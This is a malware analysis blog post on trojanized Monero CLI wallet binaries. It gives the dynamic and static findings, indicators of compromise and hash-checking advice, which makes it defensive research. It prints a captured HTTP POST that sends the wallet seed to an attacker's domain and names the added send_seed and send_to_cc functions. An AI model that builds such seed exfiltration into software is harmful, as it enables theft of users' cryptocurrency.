DISCLAIMER: Expect another blog post for post mortem analysis of the cause.
As mentioned in the getmonero.org blog post, the binaries of Command Line Interface (CLI) of Monero were recently compromised. For readers who are unaware of Monero, it is a cryptocurrency which aims to protect the financial privacy of its users. It is based on well-known technologies such as ring signatures and Confidential Transactions; I suggest reading Mastering Monero to better understand its fundamentals.
Before starting my post-mortem analysis, I’d like to highlight that - at the moment of writing - I have no idea of HOW the downloads.getmonero.org server was compromised. This blog post will be updated once engineers finish inspecting the box.
At first, nikitasius reported - via a Github issue a mismatched hash (SHA256: b99009d2e47989262c23f7277808f7bb0115075e7467061d54fd80c51a22e63d for the archive monero.tar.bz2) of the monero.tar.bz2 for Linux. This file is a compressed archive which contains the Monero Command Line client used to manage the wallet and daemon. The user investigated more and discovered that only monero-wallet-cli had a different hash than the original version. This was then reported to a Reddit thread, where reported to Reddit thread where I've been pinged by most of community members to shed some light on the matter.
Once I obtained the binary, I immediately started an analysis. I decided to opt for a more dynamic one (i.e. based on “empirical” data). Both methods (static and dynamic analysis) are necessary in order to dig deeper into the workings of these programs. I had set up my Docker machine and tried to run ./monero-wallet-cli specifying my remote node. Then an error occurred since my version of GLIB_C was not updated; this was my first red flag since all other Monero programs extracted from the malicious archive worked normally.
As shown by the “file” command, it was dynamically linked, and the unknown attacker did not purge the debug information. We were quite lucky, as the presence of debug information makes it much easier for us to analyze the binary. Comparing the informations, we have two probable theories: the attacker leaves the debug information because they are not proficient on C++ (and they simple checked out the repository), or because they wanted to preserve informations in order to have less red flags as possible.
monero-wallet-cli--bad: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1c58ece68c198390e539c636da4f9af36e877e7c, with debug_info, not stripped
The malicious binary was built based on f07c326f13dc25efcfe6d680623c8cacb2dea2db commit on “release-0.15.0” tag. We suppose then that attackers prepared the binary on the 18th of November 2019.
Binary analysis for Linux
Once we got the binary running, we could start to dig into it. The first weird thing I noticed after running the malicious program was that it asked you for the wallet password twice; a legitimate wallet only asks once. At the end of this post, we will understand the reason why this happens.
I opted for dynamic analysis (as opposed to statical analysis conducted by MaxXor or by bartblaze) meaning that, while the binary was running, I attempted to capture all data flowing from and to my host. This was done using some helpful tools, such as a custom Monero daemon to log all the connections, and tcpdump to “sniff” the packets.
The first thing I did was create a new wallet. I did not notice anything until I examined the log produced by mu TCPDUMP program. Some new connections appeared, one of which was especially interesting. My node started to communicate with another host (whose IP is 220.127.116.11) via port 18081 (henceforth referred to as MALICIOUS_IP). I thought it was another Monero node (“cool!"), unless I remembered that I had started the client by specifying my local node. In my network my node has a local IP of the form 192.x.x.x.
It was quite strange that the attackers received the wallet data via port 18081. Port 18081 is commonly used for the Monero daemon RPC API, so it should seem a trusted connection. A user could think “I'm using my Monero wallet, so obviously the wallet has to contact a node, especially if I do not run the Monero daemon locally.”
POST http/1.1 Content-Type: "application/x-www-form-urlencoded" Host: node.xmrsupport.co ?seed=[REDACTED_HEX_SEED]
The packets sniffed with tcpdump showed that the seed was being sent to MALICIOUS_IP. This is confirmed by the static analysis; when the wallet is created via the function cryptonote::simple_wallet::new_wallet, the client calls the cryptonote::simple_wallet::print_seed function. If we examine that cryptonote::simple_wallet::print_seed function, we find two new functions that were introducted into the malicious binary: cryptonote::simple_wallet::send_to_cc and cryptonote::simple_wallet::send_seed. Those names are interesting; they refer to sending the “seed” (which encodes the private send key of a Monero wallet) to a C&C server (Command and Control server known as MALICIOUS_IP).
The function cryptonote::simple_wallet::print_seed is called three times: at creation of a new wallet, at opening of a new wallet, and when the “seed” command is typed into the Command Line interface, meaning anybody who opened and created a wallet via the malicious program sent their private keys to attackers.
In addition to this, we have also found another IP address 18.104.22.168 connected to the node.xmrsupport.co with SSL certificate for node.hashmonero.com. We have eventually data of the two domains.
Domain name: xmrsupport.co Registry Domain ID: D9E3AC179ACA44FE4B81F274517F8F47E-NSR Registrar WHOIS Server: whois.opensrs.net Registrar URL: www.opensrs.com Updated Date: 2019-11-14T16:02:52Z Creation Date: 2019-11-14T16:02:51Z
Domain Name: hashmonero.com Registry Domain ID: 2455018003_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.namesilo.com Registrar URL: http://www.namesilo.com Updated Date: 2019-11-13T21:27:07Z Creation Date: 2019-11-13T21:27:06Z Registry Expiry Date: 2020-11-13T21:27:06Z
If your wallet was compromised, your coins are not the only thing which was stolen; we need to consider what else the attacker can do using your seed. Because Monero uses stealth addresses, it is impossible for the attacker to reconstruct the addresses to which you have sent your transactions (so this information would be safe). However, the attacker can identify how many XMR you had in your wallet, and via the analysis of the time connected to your transactions, it could allow the attacker to estimate your time zone. Finally, the attacker knows which transaction IDs are associated with your wallet.
In conclusion, the seed was sent to an attacker who was able to drain XMR from Monero wallets. As someone remarked in their blog post, this binary does not seem to open any ports from the host. So I can confirm that the malicious program is mainly a coin-stealer that aims to send your private key to the attacker. In addition to this, I would like to mark that the leaking of your seed may compromise your financial privacy; as I mentioned earlier, all the transactions received and sent will be visible to attackers.
Analysis for Windows binaries
As with the Linux binaries, we primarily relied on dynamic analysis. We opted to use the hybrid-analysis.com service to get an overview of the situation.
I can confirm that Windows binaries were also compromised; we found in the binary the same malicious functions used by the Linux version. Since the Linux binary was already discussed in a blog post published by bartblaze, let me introduce you to the static analysis of Windows binary.
Here we start with objdump which is a helpful program that can dissassemble any binary file (even .exe files built for Windows NT). A fast research using the query “send_to_cc” confirms that the attacker used the same source to build the Windows binary.
Interestingly, the hybrid-analysis results found that the Windows version of the malware had some hints of additional malicious behavior. It checks the registry key
"HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER" to see if
TSUSERENABLED is set to true. Essentially it is checking if remote desktop is enabled. This is generally done when an attacker wants to spread malware laterally across a network. However, it would seem that this functionality was abandoned due to time constraints (there do not seem to be any other attempts to utilize RDP).
OMG! What can I do?
Do you think your wallet may have been compromised? First, check if you downloaded the malicious binaries by comparing the hash of your file with the original one. It's strongly recommended to anyone who downloaded the CLI wallet from this website between Monday 18th 2:30 AM UTC and 4:30 PM UTC to check the hashes of their binaries. If you want a more detailed guide, I'd suggest you read this guide.
If you are wondering why I did not publish any public information before someone wrote a blog post about it, here it is. I have tried with some community contributors to identify the attacker by analyzing their transaction metadata, but unfortunately we were not able to reproduce the seed-stealing action; we could not identify more information about the attacker.
- The Linux binary was built based on the 0.15 release under the folder “/home/amp/BUILDS/monero”;
- The Windows binary was built based on the same source used for the Linux one;
- MD5: 72417ab40b8ed359a37b72ac8d399bd7
- SHA-256: 963c1dfc86ff0e40cee176986ef9f2ce24fda53936c16f226c7387e1a3d67f74
- File type: monero-wallet-cli.exe: PE32+ executable (console) x86-64, for MS Windows
- File size: 65.14 MB (68302960 bytes)
- MD5: d267be7efc3f2c4dde8e90b9b489ed2a
- SHA-256: 7ab9afbc5f9a1df687558d570192fbfe9e085712657d2cfa5524f2c8caccca31
- File type: ELF
- File size: 27.63 MB (28967688 bytes)
Domain and IP affected:
- IPv4 22.214.171.124
- IPv4 126.96.36.199
- domain hashmonero.com
- domain xmrsupport.co
I would like to thank everyone who cooperated in this analysis, but especially KnifeOfPi, moneromooo, MaxXor, bartblaze, hyc and anhdres for the illustration.